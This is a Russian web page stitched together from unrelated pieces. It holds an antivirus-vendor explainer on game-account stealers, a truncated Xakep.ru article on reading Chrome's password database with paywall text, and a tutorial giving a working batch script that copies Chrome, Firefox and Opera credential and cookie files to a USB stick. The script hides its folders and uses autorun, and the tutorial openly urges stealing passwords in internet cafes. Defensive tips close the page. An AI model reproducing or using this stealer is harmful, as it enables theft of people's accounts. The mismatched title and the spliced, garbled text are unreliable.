Стиллер на python с отправкой по почте

Что такое Password Stealer и какие они бывают

Password Stealer — это зловред, который ворует данные учетных записей. В сущности, стилер очень похож на банковский троян, только вместо того чтобы перехватывать или подменять введенные данные, он ворует уже сохраненную на компьютере информацию. Например, логины и пароли, записанные в браузере, файлы cookies и просто какие-то файлы с жесткого диска зараженного устройства. Более того, бывает так, что воровать игровые аккаунты — просто одна из функций стилера, а пароль от онлайн-банка его интересует ничуть не меньше.

Работают стилеры по-разному. Например, есть злобный троян-стилер Kpot (также известный как Trojan-PSW.Win32.Kpot). Он распространяется в основном через почтовый спам с вложениями, которые, используя уязвимости (например, в Microsoft Office), загружают на компьютер сам зловред.

Дальше стилер передает на командный сервер информацию об установленных на компьютере программах и в ответ получает список дальнейших действий. Среди них, например, возможность воровать cookie-файлы, аккаунты Telegram и Skype, а также много чего еще.

Помимо прочего, Kpot умеет воровать файлы с расширением .config из папки %APPDATA%\Battle.net, которая, как несложно догадаться, имеет отношение к сервису Battle.net — фирменному лончеру для игр Blizzard. В этих файлах содержится токен сессии игрока. То есть собственно логин и пароль в руки злоумышленника не попадают, но с помощью токена он сможет некоторое время притворяться пользователем, у которого он этот токен украл.

Зачем это надо мошенникам? Очень просто: все ценные внутриигровые предметы они быстренько перепродадут, выручив с этого неплохие деньги. Такие предметы — и возможность их перепродать — есть, например, в World of Warcraft и в Diablo III.

Или, скажем, есть зловред, который целится в другой сервис — Uplay, фирменный лончер для игр Ubisoft. Этого зловреда зовут Okasidis, наши решения ловят его под общим вердиктом Trojan-Banker.MSIL.Evital.gen. В отношении воровства игровых аккаунтов он ведет себя точно так же, как троян Kpot, разве что ворует два конкретных файла — %LOCALAPPDATA%\Ubisoft Game Launcher\users.dat и %LOCALAPPDATA%\Ubisoft Game Launcher\settings.yml.

Тот же Uplay интересует и зловреда по имени Thief Stealer (детектируется под общим вердиктом — как HEUR:Trojan.Win32.Generic). Разве что этот, не стесняясь, тащит вообще все файлы из папки %LOCALAPPDATA%\Ubisoft Game Launcher\.

Также Uplay, Origin и Battle.net интересуют зловреда BetaBot (детектируется как Trojan.Win32.Neurevt). Но этот троян работает иначе: если пользователь посещает URL, содержащий определенные ключевые слова (например, любые адреса, в которых есть слова uplay или origin), зловред включает сбор данных из форм на этих страницах. Таким образом, введенные на таком сайте логин и пароль от аккаунта попадут злоумышленникам.

Во всех трех случаях пользователь, скорее всего, ничего не заметит — троян никак не выдает себя на компьютере, не выводит окон с требованиями, а просто тихонько ворует файлы или данные.

Chrome

Начнем с Chrome. Для начала давай получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:

Чтобы совершать какие-то манипуляции с этим файлом, нужно либо убить все процессы браузера, что будет бросаться в глаза, либо куда-то скопировать файл базы и уже после этого начинать работать с ним.

Давай напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome).

Вызов функции:

Давай вкратце поясню, что здесь происходит. Мы сразу пишем эту функцию, подразумевая будущее расширение. Один из ее аргументов — поле , оно будет сигнализировать о семействе браузеров, базу данных которых мы получаем (то есть браузеры на основе Chrome или Firefox).

Если условие выполняется, то получаем базу паролей браузера на основе Chrome, если — Firefox. Идентификатор указывает на базу паролей Chrome. Далее мы получаем путь к базе при помощи функции , передавая ей в качестве аргумента значение , которое означает:

Функция устарела, и в Microsoft рекомендуют использовать вместо нее . Проблема в том, что поддержка этой функции начинается с Windows Vista, поэтому я применил ее более старый аналог для сохранения обратной совместимости. Вот ее прототип:

После этого функция совмещает результат работы с идентификатором .

База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давай скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера.

Теперь подключаемся к базе командой . Ее прототип:

Первый аргумент — наша база данных; информация о подключении возвращается во второй аргумент, дальше идут флаги открытия, а четвертый аргумент определяет интерфейс операционной системы, который должен использовать это подключение к базе данных, в нашем случае он не нужен. Если эта функция отработает корректно, возвращается значение , в противном случае возвращается код ошибки.

INFO

Обрати внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию. Теперь начинаем непосредственно обрабатывать данные в базе

Для этого воспользуемся функцией

Теперь начинаем непосредственно обрабатывать данные в базе. Для этого воспользуемся функцией .

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score!
Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя!
Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.

Я уже участник «Xakep.ru»

Создаём стиллер паролей для браузеров

Для того, чтобы создать портативный стиллер паролей для браузеров нам понадобится только блокнот.

Создаём текстовый документ и пишем туда следующий код:

@echo offmd %~d0Mozillamd %~d0Operamd %~d0GoogleCD/D %APPDATA%OperaOperacopy /y wand.dat %~d0Operacopy /y coockies.dat %~d0Operacd %AppData%MozillaFirefoxProfiles*.def-aultcopy /y coockies.sqlite %~d0Mozillacopy /y key3.db %~d0Mozillacopy /y signons.sqlite %~d0Mozillacopy /y AppData%MozillaFirefoxProfiles*.def-ault %~d0Mozillacd %localappdata%GoogleChromeUser DataDefaultcopy /y “%localappdata%GoogleChromeUser DataDefaultLogin Data” “%~d0/Google”ATTRIB -R -A -S -Hattrib +h %~d0Mozillaattrib +h %~d0Operaattrib +h %~d0Googledel: Autorun.inf

Вы же можете его просто скопировать, сохраняем файл как anyname.bat. В коде видно, что сохраняются пароли из Mozilla, Opera, Chrome. Если вы хотите добавить ещё браузеры, требуется найти их директории и таким же образом добавить. Атрибуты, которые мы присвоили делают созданные папки скрытыми, чтобы никто ничего не заподозрил.

Теперь нужно создать файл autorun.inf со следующей командой:

Готово, теперь можете идти куда душа пожелает и воровать пароли, например в интернет-кафе или тому подобные места. Наш стиллер паролей для браузеров не является удалённым, из-за чего придётся ходить.

Открыть сохраненные пароли можно заменив краденые файлы cookies, базы данных и данные логина. Для удобства можно воспользоваться программой Password Web Views.

Как защититься от троянов, ворующих аккаунты в игровых сервисах

В принципе защищать аккаунты в игровых сервисах нужно так же, как и все остальное. В том числе и от стилеров. Следуйте советам ниже — и никакие троянские воры будут вам не страшны:

• Защитите аккаунт при помощи двухфакторной аутентификации. У Steam есть Steam Guard, у Battle.net — Blizzard Authenticator, Epic Games Store предлагает выбор между аутентификацией через приложение-аутентификатор, SMS или почту. Если ваш аккаунт защищен таким способом, то украденных логина и пароля будет недостаточно для входа в него.
• Не скачивайте моды с сомнительных сайтов и пиратки. Злоумышленники знают тягу людей к бесплатному и пользуются ей, поэтому в кряках, читах и модах нередко можно встретить зловредов.
• Пользуйтесь надежным защитным решением. Например, Kaspersky Security Cloud всех этих стилеров ловит и не дает им воровать данные.
• Не выключайте антивирус во время игры. Иначе получится так, что антивирус вы выключили, собрались залогиниться в сервис — и тут-то дремавший прежде стилер и украдет пароли. В том же Kaspersky Security Cloud есть специальный игровой режим, который не позволяет антивирусу сильно загружать машину во время игры. Поэтому на производительность и частоту кадров он не повлияет, а вот за безопасностью приглядит.